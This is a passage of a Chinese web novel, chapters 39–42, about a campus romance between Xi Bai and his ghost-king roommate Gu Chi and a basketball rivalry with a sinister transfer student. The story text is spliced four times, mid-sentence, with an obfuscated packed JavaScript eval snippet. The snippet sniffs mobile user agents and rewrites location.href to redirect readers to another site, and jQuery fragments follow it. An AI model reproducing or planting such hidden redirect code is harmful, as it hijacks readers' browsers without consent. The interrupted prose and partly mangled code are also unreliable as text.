两人路上碰到不少认识的同学,溪白跟第不知道几十个人打了招呼,觉得今天的大家似乎格外热情。 “我到了。”溪白和顾弛说,意思是让他可以回去了。 其实溪白还是挺开心的,但因为更多的是害羞,刚刚一路上碰到的那些同学望过来的眼神里都写满了太明显的暧昧,弄得溪白有些不太好意思。 偏男生像是听不懂潜台词似的,双手随意插着兜靠在门边,歪着脑袋看溪白,像是不知道自己这样很撩人似的。 “等你进去了我就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13604355|138211||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 走。” 溪白只好顶着两只泛红的耳朵,先转身进了教室。 没走两步,就又被叫住。 “溪白。” 嗓音和刚刚似乎有些不一样,溪白回头的时候,发现顾弛的表情突然变得冷肃了一点。 溪白上课的教室在一楼,顾弛正转头看着走廊外的天,又好像是在打量着楼上几层。 “如果有事情的话,记得打我电话。”顾弛不像开玩笑地叮嘱道。 溪白点了点头,目送顾弛离开。 莫名被撩得心跳加速,但又被顾弛突然严肃起来的态度弄得一头雾水,他现在心里像打翻了五味瓶似的,滋味难以描述。 只是刚一转身,就看到庄算斜着眼睛挑着嘴角看自己。 (¬ω¬) 溪白:…… “小蒜头。”溪白想起破碎的罗盘,想要再和庄算道一次歉。 “没事!”庄算一摆手,十分豪气,“这才算啥,你都请我吃好吃的饭了!” 溪白下意识以为庄算说的是自助和牛,但一想不对,这不是还没吃上吗? 然后就听见已经转过身的庄算坐在位置上抱着手机在不停地发出一种难以描述的笑声,边还在小声窃窃着自言自语。 “果然饭还得正主做才香啊!” “嘿嘿……” 溪白:……? ※ 打完上课铃,溪白拿出课本。 他坐的位置靠窗边顾弛依旧在走廊外晃荡。 [White:你快回去吧!] 晃得教室里都没法安心上课了! 顾弛给他回了个大狗挥爪,又经过了走廊一遍,给溪白打了个手势。 四周的目光悄悄集中过来,溪白顶着成为视线焦点的压力,和顾弛简单一摆手做了回应。 游荡的大型犬终于走了。 溪白刚松了口气,就听到讲台上传来幽幽一句。 “现在的孩子们感情真好。” 他抬起头,看到这节课的老师,他们学院的年轻女博导大牛含着笑意收回了视线。 溪白莫名觉得老师的眼神有点眼熟,但又想不起来在哪见过……直到转过头看到庄算。 (¬ω¬)~~ 溪白:闭眼。 顾弛漫无目的地晃荡着往回走,目光扫过积雪的树梢。 远处的球场已经被清过了一轮雪,今天又是晴天,球场上身影不少。 “弛哥!” 顾弛往球场里看了一眼,发现喊自己的是同班的几个同学。 “打球吗,缺一个。”喊他的男生见顾弛有给面子的意思,赶紧问了一句。 顾弛想了想,点头。 他难得给一次面子,几个男生都意外,也高兴。 “wow,弛哥也来。” “分队分队!” 顾弛绕过拦网进了球场,脱了厚外套随手挂到一旁。 “徐骁不打?”他看了眼坐在台阶上拿着手机的高大男生,不是说差一个么,加上徐骁应该刚好吧。 “他没心思。”喊顾弛来打球的男生一摆手,道,“正emo呢。” 另一个男生笑嘻嘻地接过话茬,压低声音说八卦:“听说文学院转学来了个帅哥,那个小不点现在都不来看骁哥打球了。” “现在转过来?”另一个正套护腕的男生抬起头,“那期末跟得上吗?” “谁知道呢……” 几人嘀嘀咕咕地讲八卦,顾弛也没听几句。 他心想:溪白好像还没看过自己打球? 40.第 40 章 “溪宝,给你看我们学院新来的帅哥。” 庄算神神秘秘地拿着手机凑近,朝溪白招手。 “有转学生?”溪白瞟了一眼,“这个时间转学?” “谁知道呢,但是真帅啊!”庄算一脸花痴。 溪白手里捏着笔杆晃了晃,稍微凑近了一点,心说还有哪个帅哥能比顾弛还戳人。 结果这一看,他就移不开视线了。 “怎么样,真的帅吧!”庄算得意地挑了挑眉,“我决定让他暂时取代徐骁在我心里的恩宠!” 他说完却不见溪白吱声,就看自己的好友坐在原地发愣,还以为溪白被帅愣住了。 庄算转念一想不对,赶紧道:“帅是帅,但我觉得还是没顾弛帅,你可不能移情别恋啊!” “你说什么呢……”溪白赶紧辩驳了一句,心虚地往四周看 庄算声音不小,所幸现在还没上课,教室里比较嘈杂,并没有谁听到他俩的对话。 但相比起对话,溪白更在意的是照片上的人。 “你说这是我们学院的转学生?”溪白指了指庄算的手机,眉心拧起来一点。 庄算嗯了一声,“是啊,你认识?” 溪白没回答,但是,他的确是认识。 庄算照片上的那位“新宠”,就是他前两天下楼拿药的时候遇到的,那个气质很诡异的男生! ※ “嘿!顾弛!”庄算远远地看到球场里的人,挥着手大喊出声,“溪宝在……” 溪白赶紧把人捂嘴。 面红耳赤地穿过行注目礼的人群,溪白把挥舞着手脚的庄算拖进了篮球场里。 他刚想严肃地和庄算说以后不能老在大庭广众之下给他加戏,却被对方反手按住了肩头转了半圈。 身体换了个方向,溪白抬起头,顾弛不知什么时候已经到了他跟前。 男生一手托着颗球,大冬天的,即使是白天,气温也就七八度,他只穿着件运动背心,却也不见冷似的。 露出来的手臂肌肉紧实而漂亮,上面覆着一层薄汗,更平添了几分视觉效果。 顾弛明显是刚从场上下来,胸口还在起伏。 溪白看了一眼,赶紧移开视线。 “你打完了?” 顾弛没说话,而是观察了一下溪白的表情。 溪白摸了摸鼻子,“那去吃饭吗?” 见溪白似乎对留下来看自己打球这件事并不感兴趣,顾弛打消了心中的念头。 他把球朝身后那帮人一丢,扯过外套随手反披在了肩头。 “嗯,去吃饭吧。” 庄算毫无征兆地:“顾弛,看好溪白。” 溪白还在发愣,就听身旁的人开口:“嗯,我会的。” 你又凑什么热闹! 溪白伸手要去掐人,庄算赶紧嘿嘿笑着想跑。 只是一转头,就撞进了一片胸肌里。 “呀,谁的胸肌这么弹。”庄算刚揉着鼻子说了一句,抬起头,就看到徐骁正低头看着自己。 男生脸上没什么表情,甚至对视了好一阵,连眼睛都没眨一下。 庄算眨了眨眼,抬起手一把捧住徐骁的脸。 徐骁双眼微微睁大,多了几点高光。 庄算:“哇!你的脸色怎么这么差!” 徐骁:…… “应该是吃醋了吧。” 溪白的声音突然悠悠飘来,吸引了两人的注意。 庄算诶了一声转头,就见溪白一挑眉。 “不是你自己说的么,那个男生的恩宠要超过徐骁了。” 溪白说完,在庄算失控的“溪宝你学坏了”的大叫声中,拉着顾弛坏笑着跑走了。 去食堂的路上,顾弛看了一眼自己的手掌心,上面还残留着溪白的温度。 他看了一眼身旁蹦蹦跶跶的男生,“这么开心。” “嗯哼。” 刚刚报复了庄算,当然开心了。 “你伤口怎么样了。”溪白问顾弛。 顾弛把腰微微弯下来一点,意思是自己看。 “结痂了,这两天再按时消毒一下就好。”溪白说着,又指了指自己的脖子,“我的蚊子包消了没?” 顾弛象征性地扫了一眼,纤细的脖颈上一片白皙,清瘦得他一只手掌就能轻松拢住。 闷闷地嗯了一声,顾弛默默移开视线。 两人打了饭在食堂找了个小桌坐下,溪白看着还穿着背心,一身漂亮肌肉引得路人不停偷看的顾弛。 “穿上呗,你不冷啊。” 顾弛本想说不冷,毕竟他是鬼,不怕冷。 但心底冒出的一种神秘的感觉,让他还是拿过了一旁的长袖穿上。 溪白觉得刚刚还有些酸的番茄炒蛋似乎变甜了一点,吃的更开心了。 他其实还蛮眼馋顾弛那身肌肉的,不过这是在外面。 要看也得回宿舍慢慢看。 边吃饭两人边闲聊,溪白问道:“刚刚我上课的时候,你就一直在打球呀?” 顾弛点头,“嗯,和同学随便活动了一下。” 他一上午就两节课,但也快两个小时了,难怪顾弛打出一身汗来。 体力还挺好。 溪白用筷子戳了戳米饭,似是无心地提了一嘴。 “说起来,我都好像还没看过你打球。” 顾弛拿着筷子的手一顿。 他刚刚还以为溪白对看自己打球不感兴趣,难道不是? “你想看?”顾弛想了想,“下周我有一场院赛,你想来我让人给你留位置。” “跟谁打?”溪白问。 顾弛:“你们学院。” “你要来给我加油吗?”顾弛想了想,又问。 他看周围那些同学经常都会让另一半来给自己当啦啦队喊加油。 溪白本想说好啊,但话到了嘴边,他看着对面男生的狗狗眼突然就想要改口。 “啊?原来你和我们学院打啊!”溪白装作一副很震惊的样子,他手指点了点下巴,边说边观察顾弛的表情,“那可得纠结一下了,我帮亲还是帮理?” 他的本意是逗逗顾弛,想看看顾弛对自己这些细想一下就略显暧昧的话究竟会作何反应。 可不想,男生给出了溪白怎么也没想到的回答。 “我是你室友,他们是你同学。”顾弛微微歪过头,,脸上的疑惑逐渐变得明显。 旋即,那双干净的眼睛朝溪白看了过来。 他开口,认真地问道:“那我在你这是亲,还是理?” 溪白的脸唰一下红了。 ※ 一个晴空万里的的周末,空气被阳光晒得干爽而温暖,空中偶来一阵微风,将操场上的喧闹与欢笑声送得更远。 裁判组将计分牌推上场地,紧锣密鼓地准备着赛前的工作。 刚考完期末,还没回家的学生们都没什么事,有热闹自然要往里边凑。 而且这次的球赛其中一方还是体育学院的院队,个个人高马大不说,身材还棒。 不说别的,养养眼也是好的。 溪白刚一坐下,就听见身旁的同学们在叽叽喳喳地讨论。 “怎么是体育学院打文学院啊,这不是纯虐菜么。” “刻板印象了吧,校篮球队里的主力有一小半都是文学院的,人家身材不比体育学院的差。” “我草,我以为是诸葛亮大战典韦呢。” “法师怎么跟战士打?” “你……算了。” 在诸多讨论声之中,溪白隐约听到一句“听说文学院新来那个转学生贼帅,而且打球贼猛,把原本他们院队的前锋都打服了。” 这话本身是左耳进右耳出的,但紧接着的下一句,却又重新夺回了他的注意力。 “好像说比顾弛还帅呢。” 溪白一句“胡扯”就脱口而出,反应过来赶紧捂着嘴。 还好他说的不大声,周围又吵闹,没什么人注意到。 这帮人都在胡说八道什么啊,真的有审美吗!溪白忍不住在心里絮絮叨叨,上次那个男生看着就阴恻恻的啊。 “明明顾弛比较帅…不,是帅多了……” 他刚嘀咕了一句,被碎碎念的某个主角就悄无声息地出现在了面前。 “你好,同学。” 溪白猛地攥紧了裤腿。 转学过来他们学院的那个男生不知道什么时候已经站在了他的面前,身上穿着件崭新的院队球服。 相比起第一次的见面,他的背似乎比当时挺直了一些,而给溪白留下了十分深刻的印象的那双几乎缩成一个小圆点一样的瞳仁,似乎在白天看起来也正常了不少。 溪白看清了男生衣服上的名字,叫吴项。 吴项给人的第一感觉永远那么统一:很瘦。 瘦瘦高高,骨架又大,看着像双开门,但又感觉没几两肉,因此显得有些突兀。 他的皮肤在日光下显出一片不是很健康的青白色,脸上的血气似乎也不是很足,虽然五官俊美,但总有一种随时会病倒的感觉。 纵使如此,他出现以后,人群之中还是接连窜出不少声“好帅”。 “项老大。” 文学院院队的几个男生也进了场,看到吴项也在,就走过来打招呼。 这才几天就混成老大了吗……溪白想着,不小心对上了吴项的眼睛。 这双眼睛给人的感觉和顾弛的很不一样。 溪白心说。 顾弛的眼睛是干净而温暖的,在阳光下总是呈现出浅淡的棕褐色,映着光影的时候,像是一汪温柔的水。 但吴项的眼睛不管哪个角度看去,都黑得吓人,像是没有一丝感情。 哪怕他脸上在笑,也都感觉是假的。 溪白:果然还是顾弛好看! 吴项见溪白不说话,又一次开口。 “你好,方便 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13612674|138211||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 认识一下吗?” “项老大,你不认识他吗?”旁边的男生看着是个话多的,看了一眼溪白,道,“溪白学弟可是校花,不过,咳,可能有主了。” 他一边说一边观察溪白的反应,想八卦一下看看能不能搞到什么实锤。 结果还没等抓住溪白什么小辫儿,身旁便涌起一股寒意。 吴项保持着淡笑转过头,看了男生一眼,眼睛缓缓垂落。 原本还在和他勾肩搭背的男生立刻收回了搭在对方肩头的那只手,尴尬地扯了扯嘴角。 “项老大,呵呵……” 吴项没理他,而是又看向溪白,像是一个不停重复程序指令的机器人一样又一次用和之前完全相同的语调开口。 “你好,溪白同学……” 只是这次,他话还没说完就被打断了。 “我觉得你同伴已经说得够清楚了。” 一股温柔中带着强势的力道扣上肩头,溪白被带得整个人向后靠去,只属于一人的松木香气让他下意识地卸掉了反抗,直到整个人落入那熟悉的滚烫胸膛里。 溪白抬起头看到顾弛的侧脸。 依旧是他熟悉的那个人,但男生身上的气场又和平常不一样。 该怎么形容呢……平时的顾弛如果是微笑大狗的话,那现在应该是呲着尖牙的大狗。 凶巴巴的。 还挺可爱。 溪白轻轻咳了一声,又观察了一下。 看看冷着脸似乎满身戒备的顾弛,又看了看那边满脸皮笑肉不笑的吴项。 溪白总觉得顾弛对吴项的敌意很大。 “当然很大。” 等吴项走后,听了溪白疑惑的顾弛理所当然地回了一句。 “他对你目的不纯,你别接近他。”顾弛说。 溪白噢了一声,想了想,道:“你们认识?” 顾弛的动作顿了一下,但他很快就做出了反应,“不认识。” 见溪白有些疑惑的样子,他又开口道。 “我不喜欢他接近你。” 这话……溪白虽然不想自己脑补太多,但他控制不住地从里面解读出了一种名叫占有欲的东西。 尤其刚刚顾弛把吴项瞪走的时候,还一直在搂着他。 “溪白。” 溪白抬起头,看见已经跨出观众席的顾弛正站在看台前方。 “我带你去那边坐。”顾弛说着,朝他伸出手。 手掌宽大有力,在阳光下显出淡淡的蜜色,溪白知道那掌心里的温度有多热,因为他已经被那只手触碰过数不清多少次了。 于是在一种十分奇特的心情下,溪白伸出手,在四周无数双眼睛的注视,和升起的窃窃私语下,牵住了顾弛的手。 走到人少的那边看台,溪白坐下后,顾弛从旁边的纸箱里给他拿了一瓶水。 溪白坐在最高层,而顾弛则蹲在比他低一层的台阶上,两人刚好能平视。 顾弛的手掌覆上溪白拿着矿泉水瓶的手,很自然地帮他拧开了瓶盖。 虽然明明可以递给他之前就拧好。 但顾弛喜欢这样。 同样意识到这一点的溪白,慌忙喝了一口水。 “我一会儿要上场了。”顾弛说。 溪白点了点头,末了觉得自己应该再给点反应,又说:“加油。” “一会喊大声点。”顾弛一笑。 溪白唔了一声,目送着男生离开。 他发现这片看台似乎是单独围起来的,人比较少,坐在他周边大概零零散散十多个人。 不过大多都是女孩子。 直到他看到人群之中和几个女生相谈甚欢的男生转过头,笑着和他打了个招呼。 溪白一问才知道。 “这是家属区啊。”男生说着,又看了看那边准备入场的两支队伍。 球队的队员们穿着各自学院的队服,身材高大颀长,紧实的肌肉在阳光下显出漂亮的色泽。 男生打量了一圈,问了一个让溪白心跳加速的问题。 “你男朋友是哪个呀?” 溪白的眼睛,不自觉地向正往场地里走的那个身影追寻而去。 另一头。 顾弛走到场地边,像是想起什么了似的,突然又回过头。 溪白像是早有预感似地抬起脸,和他对上了眼睛。 溪白看到,那个刚刚还搂着他冲着和自己打招呼的人凶巴巴的高大男生,在这一刻又重新变成了他熟悉的微笑大狗。 顾弛张口说了什么,但距离比较远,他好像又没出声,哪怕是最前排的几个人也没听见。 但溪白读懂了他的口型。 “记得帮亲不帮理。”顾弛说。 男生丢下一句话,就转身离开。 只留溪白一个人坐在原地,拿着手里的矿泉水瓶来回给自己的脸颊降温。 冰镇一下发烫的脖子,再冰镇一下自己的热胀胀的耳朵。 41.第 41 章 [White:你还没来吗?] [神算子:快了快了,我和我哥都在路上] 这边溪白在给还没出现的庄算发消息,另一边,两支队伍的球员也已经就位了。 篮球开局时需要跳球站位,两个队伍的大前锋各自在球场中线两侧站立,其余队员在后方就位。而两队的大前锋,恰好就是就是吴项和顾弛。 两人弓着背对峙着,眼睛里燃烧着斗志的火焰。 吴项冷笑着,用只有两个人听得见的声音出言讽刺:“我说地府最近怎么看守如此薄弱,原来他们的鬼王大人留恋人间的温柔乡,竟连自己的本职工作都丢下了。” 顾弛目光森冷,对于吴项的嘲弄,他根本不在乎。 语调带着强烈的杀气,他警告:“离溪白远一点。” 虽然球场四周的同学们听不见两人在说什么,但坐在看台上依旧感受到了一副针锋相对的气势疯狂地往四周蔓延。 伴随着裁判的哨声响起,球场正中吸引了所有目光的两道身影高高跃起。 溪白听见左手边体育学院的看台上有人惊呼出声。 “我操跳这么高,干脆来我们跳高队叭,打什么篮球啊!” 顾弛先一步用力挥出手臂,掌心拍中球体,向文学院那边的半场飞去。 比赛正式开始,看台四周的学生们都期待着后续激烈的球场竞技,还有队伍里的帅哥们擦汗时若隐若现的腹肌。 但很快他们就发现,这场比赛和他们想象当中的有些不一样。 因为连续记录了十几分下来,基本上只有两个人在打。 顾弛和吴项以一种令人眼花缭乱的速度穿梭在人群之中,观众们甚至还没看清楚动作,他俩就已经轻松地过人了。两支队伍各自被对方的大前锋所冲散,中锋和后卫基本上连人都看不清,就见到球从筐网里落了下来。 这边的赛场观众们看到的是一场角逐过分激烈的1V1个人赛,而球场上打得难舍难分的两人,则已经吵上了。 吴项轻松越过体育学院队来拦他的中锋,刚运了两步球,顾弛的身影就已经到了。 他一个侧扭身躲过顾弛的手,跃起投篮时丢下一句。 “身为鬼王居然爱上区区一个人类,实在是丢进了脸面。” 顾弛冷笑一声,在吴项冲到面前拦他时,后仰跃起投中了一个三分。 在四周呼啸而起的阵阵欢呼声中,顾弛一挑眉,“你懂什么!” “让阴司的鬼差知道他们上司是个沉湎于美色的家伙,不知道要多耻笑。”吴项投中一个两分。 顾弛还了文学院队一个上篮,站在篮筐之下,他回头朝吴项嚣张地比了个拇指向下的手势,“但凡你有喜欢的人,就不可能说出这句话……可惜这辈子你都是孤家寡人了。” “我才不需要。”吴项反唇相讥了一句,“好歹也是鬼中之王,怎可能喜欢一个人类。” 顾弛呵了一声。 话不投机半句多。 ※ 顾弛,加油啊! 看台上,溪白激动地跟着旁边的“家属”们一起喊出了声。 他心情太过激动,以至于口袋里的手机连续来电震动了几次,都完全没有察觉到。 裁判打了个手势,提醒最后一分钟的倒计时。 时间基本上只允许再进一球,而上半场文学院和体育学院的两个大前锋打得有来有回,比分来到了68:69,体育学院只有一分的微弱优势。 基本上这最后一分钟,就是上半场的胜负手。 球在文学院手里,好不容易拿到一次球的中锋想要秀一手,但被顾弛轻而易举地拦下甚至差点把球抢走后,他不得已咬着牙传给了旁边的吴项。 吴项伸手一接,轻松地越过了两个来拦他的后卫,转瞬间就到了球筐之下。 而顾弛紧随其后,飞身去拦。 裁判进入了最后十秒的倒计时,溪白在看台上站了起来,他满脸紧张地攥着手,呼吸不自觉地屏住,他连加油都喊不出来。 就在这时,两个身影拉拉扯扯地出现在了无人发现的球场角落。 而众人看到的就是挑起灌篮的吴项似乎在空中停滞了一下,这一瞬的迟钝被紧随其后的顾弛直接抓死。 宽大的手掌对着球心狠狠一拍,原本即 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13643984|138211||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 将从篮筐里掉下来的球,就这么被顾弛一掌拍了出去。 哨声响起,伴随着体育学院半场震耳欲聋的欢呼和尖叫,还有文学院半场的苦恼捶地和哀嚎。 而球场上方才还在大放异彩的两人,却都不动了。 溪白早在吹哨的那一刻就激动地跑了过去,这是他第一次看球赛,却被现场激动而热血的氛围感染了个遍。 在顾弛飞身而起将球排出球筐的那一刻,他只觉得自己的血液都沸腾了。 几乎是毫不犹豫地,溪白抓着早已准备好的矿泉水就飞奔入了场。 而还在平复着心率的顾弛在看到那个朝自己飞奔过来的身影时,呼吸几乎是瞬间就再次达到了一个高峰。 他下意识地伸手把人接住,听到的是温暖的阳光下,自己失控的心跳。 “顾弛,你好厉害!”溪白激动地大喊出声,白皙清秀的脸蛋在阳光下显现出羊脂白玉一般的色泽,让人忍不住想要咬上一口。 望着面前眉眼弯弯的笑颜,顾弛心想:就算现在让他跑死在篮球场上,他也是心甘情愿。 两人逐渐冷静下来,顾弛也回过神。 他转头看看向一旁的吴项,心说这家伙在关键时刻怎么停了? 搂在一块就没放开过的两人不约而同地转过头。 溪白看的是场地边缘的大门,庄算正拉着他哥庄术发火,骂骂咧咧说就是他哥太拖拉了,搞得他没看到帅哥腹肌。 而庄术一边翻着白眼一边数落弟弟就是只知道看帅哥所以才耽误了修行,怪不得连个罗盘都用不顺溜。 吴项脚边,滚落许久的篮球早已停下,但他迟迟没有弯腰捡起。 他和溪白看着同一个方向,目光聚焦在提溜着弟弟耳朵不停数落的庄术身上,眼睛在这一刻发直得几乎要跳出来。 良久,他喃喃出声。 “好,好香……” 那一头的溪白没听清,他纳闷地看着吴项的背影,正琢磨着这人刚刚是不是说话了。 突然,他就从自己身旁正倚靠着的人的心里,听到了语气带着嘲弄和嗤笑的一句话。 「呵,德性!」 42.第 42 章 他又听到顾弛的心声了! 明明被听见心声的是顾弛,但心跳加速的却是溪白自己。 不得不说,能听见喜欢的人心里在想什么,真的是一种很奇特的体验,只不过到现在,他都还没在顾弛心里听到太多关于自己的事情。 不过……溪白的眼神缓缓偏移,顾弛刚刚那句话,感觉就是冲着吴项说的吧? 他顺着人群看了过去,刚刚还站在原地发呆的吴项已经转身走到了球场边,正和庄术说着什么。 庄算在旁边捂着嘴眼睛开始乱转,又有向颜文字转变的趋势。 溪白琢磨起方才从顾弛心里读出来的话。 德性……这次应该是熟悉才会用在对方身上吧? ——可顾弛不是说两个人不认识吗? 只是这个问题在脑海里只盘亘了一瞬,也就持续到溪白转头。 因为下一秒溪白的目光就像是被吸住了一样,紧紧地锁定在了顾弛的侧颜上。 男生现在的打扮和平日里不同,完全是一种让溪白耳目一新的风格。 平日里的顾弛像一只微笑的毛绒大狗,给人暖融融的感觉,额前的发丝垂落几缕,每次和自己对视就会笑,是那种很温柔的风格。 但今天的顾弛穿着球服,刚打完球一身的热气,甚至连平常似有若无的松木香气,都变得强烈了。 他渴了,正仰着脸灌一瓶水,清晰分明的喉结都要比溪白的大上几分,不知道是汗滴还是唇边滑下的水珠,恰好在其上划过一道浅浅的弧度,留下的水迹映着此时大好的日光。 喉结随着吞咽的动作上下滚动,在这份青春洋溢之中,平白多了几分色·气。 顾弛喝完水将空瓶往旁边的垃圾桶里随手一丢,抬起手抓了两把微湿润的发丝。发型被梳理得向后贴着,那本线条就硬朗的五官顿时添了几分锋锐。 就像刚刚他在球场上驰骋时的模样。 是另一种不同的帅。 让人控制不住想到那种在家嘤嘤撒娇的德牧犬,一出门就摇身一变成了威风凛凛,带着点生人莫近的气场。 毫无征兆地突然对上那双浅褐色的眼睛,溪白还没来得及作出反应,顾弛的脸就在面前放大。 “溪白。”顾弛微微歪了歪脑袋,似乎表情有些懊恼,“我好像没什么动力了。” 溪白眼睛微微睁大,什么叫没动力? 顾弛纤长的睫毛轻轻动了两下,他依旧看着溪白,但笑容里却多了几分狡黠。 这完全和他往日不一样的痕迹只是一闪而过,快得溪白以为只是自己的错觉。 下一刻,他便听面前的男生认真地,用他那一贯干净而单纯的表情问自己。 “如果我赢了,有没有奖励啊?” 你自己的比赛,赢了管我要什么奖励。 脑海里给出了最符合逻辑和现实的反应,但不断升温的感性侵蚀了溪白的理智,他看着面前弯腰歪着头看自己,翘首以盼的男生。 “你想要什么奖励……” 溪白慢吞吞地说。 裁判催促进场的笑声响起,顾弛回头抬手回应了一下队友。 “我先回去了。”他留下一个笑容,露出来的两颗尖尖的虎牙,似乎彰显着一种得逞后的欣喜。 直到他几步一回头地站到了中线旁边,溪白都没有得到答案。 顾弛到底要什么奖励? 下半场的比赛,比上半场还要激烈。 吴项就跟疯了似的进攻,而顾弛似乎也不知道累一般,两个人就和其他球员不像一个位面里的人似的,打得你来我往。 “我草,这瘦高个够生猛啊。” 溪白转头,庄算已经拉着庄术凑到了自己身边。 他坐下后拍了拍溪白的胳膊打了个招呼,脑袋还拧着看另一头,用胳膊肘怼自己的亲哥,“哥,我收回刚刚的话,病美人攻还是香的,委屈你一下……” 庄术给他来了一顿暴打。 胖揍完亲弟弟,庄术毫不留情地把捂着满头包哭嚎的亲弟弟丢到一边。 他笑眯眯地坐到溪白身旁,“嗨,小漂亮。” 溪白早已经习惯庄术见他一次换一个昵称了,挥挥手回应了一下。 庄术朝球场里挑了挑下巴,目光追随着球场中狂奔的瘦高身影,“那两个人从上半场就这样吗?” 溪白看了庄术一眼,嗯了一声,“好像还比上半场凶一点。” “啧啧。” 庄术发出了一声意味不明的回应。 “对啦,你和那男生怎么样啦?”庄术的目光终于从吴项身上离开,看了一眼顾弛。 溪白耳朵一红。 怎么连庄术也…… “还听得到他心声吗?”庄术问。 溪白点头,实话说刚刚才听到一次来着。 “听到什么有趣的东西没有?”庄术眼睛转了转,笑容带着点揶揄,“其实要追人的话,这技能还挺方便的,天赋流渣男啊。” 溪白耳朵红了红,道:“我没听见什么,都是些很普通的话。” 甚至不涉及自己。 “庄大哥,你知道顾弛究竟是什么情况吗?”溪白追问道,之前他一直以为顾弛不是人类,为此还担惊受怕许久。 上次那蘑菇鬼出现的时候,罗盘的指针甚至阴差阳错地指向了顾弛,差点把溪白惊得魂不附体。 “这段时间我也翻了挺多书的,但是和你类似的情况还真的比较少见。” “读心,嗯……”庄术沉吟。 虽然是一种极高的天赋,但对于溪白这样不懂玄术的普通人来说,恐怕也是一种困扰。 “我再查查看吧,应该还有什么我没看到的。”庄术说道。 溪白真心地道:“那先多谢庄大哥了。” “好说好说。”庄术笑眯眯。 下半场虽然吴项打得非常凶,但还是略逊顾弛一筹,而且他只是在那开屏,远不比得上顾弛还有个“奖励”像胡萝卜一样在前面吊着。 比赛一结束,庄算就被亲哥提溜走了。 溪白从看台上下来的时候,顾弛也从欢呼庆祝的人群之中挤了出来。 他站在人群中本就显眼,不论是五官还是身材。 一股脑拥挤上去和体育学院的院队成员们一起欢呼庆祝的学生观众们,都渐渐地被这边吸引了注意力。 顾弛脱离人群,毫不犹豫地走向溪白。 刚开始还是迈着大步,到后面就成了小跑,以至于他到了面前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13666559|138211||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时,溪白甚至以为他刹不住车。 “溪白。” 高大俊朗的男生站在斜倾的夕阳下,唯独对你笑得一脸纯真的模样,真的只有当面看过,才知道是怎样的一种心跳加速。 “溪白。”顾弛又喊了一声,这一声的温度比刚刚更温热,“我赢了。” “嗯!” 溪白耳朵红了红,他看着顾弛的样子,鬼使神差地伸手抓住了男生手臂上的护腕。 捏着那片布料,溪白眼睛眨动着,纤长的睫毛扑扇着夕阳的辉光。 他看着顾弛的脸,依旧慢吞吞地开口,声音又轻,又软,轻得只有两个人听得见,软得仿若耳鬓厮磨时的密语。 “那我的帮亲不帮理,是不是,还是有用的嘛……” 溪白看着面前男生的表情。 他发现这一次,轮到他抓到顾弛的耳朵红了。 ※ 赢了比赛后的男生们总是爱吃点大餐庆祝,一帮人喊着去喝啤酒吃烧烤,另一帮人想吃铁锅炖。 当溪白在思考比较馋哪一个的时候,顾弛动作自然地牵起他的手和目瞪口呆的队友们说:“我要和溪白回宿舍了”。 直接往溪白脸上点了一把火。 溪白感受到那些目光里的震惊和暧昧,赶紧摆手解释:“没,没有,就是顾弛出汗了,我和他回去洗澡。” 说完才发现更不对了。 面庞和耳廓迅速升温,连手背都烫红起来。 溪白从没被当众这样过分关注过,何况关注的原因,还是刚刚那有些过分暧昧的误会。 正当溪白快要原地着火的时候,不知道谁说了一句。 “哎呀呀,那弛哥赶紧回去吧。” “对啊!那什么,出了汗容易着凉,赶紧的吧。” “是啊是啊,生病就不好了。” 这帮不管春夏秋冬,出了一身汗就冲冷水喝冰饮,对着自己女朋友都只会“多喝热水”的傻帽体育直男们,在此刻变得出乎意料的体贴。 一个两个都催溪白赶紧带顾弛回去,甚至大着胆子上手把两人往球场外推。 不过女孩子们自己也不介意男朋友往外拐的胳膊肘。 她们自己都忙着克制表情,不让自己的脸上露出太过变态的笑容。 咳,洗澡。 嘿嘿。 目送顾弛拉着溪白离开,众人彼此交换一个眼神。 嗑(吃)到糖(瓜)了。 回到宿舍。 顾弛坐在溪白送给他的靠背椅上表示想休息一下。 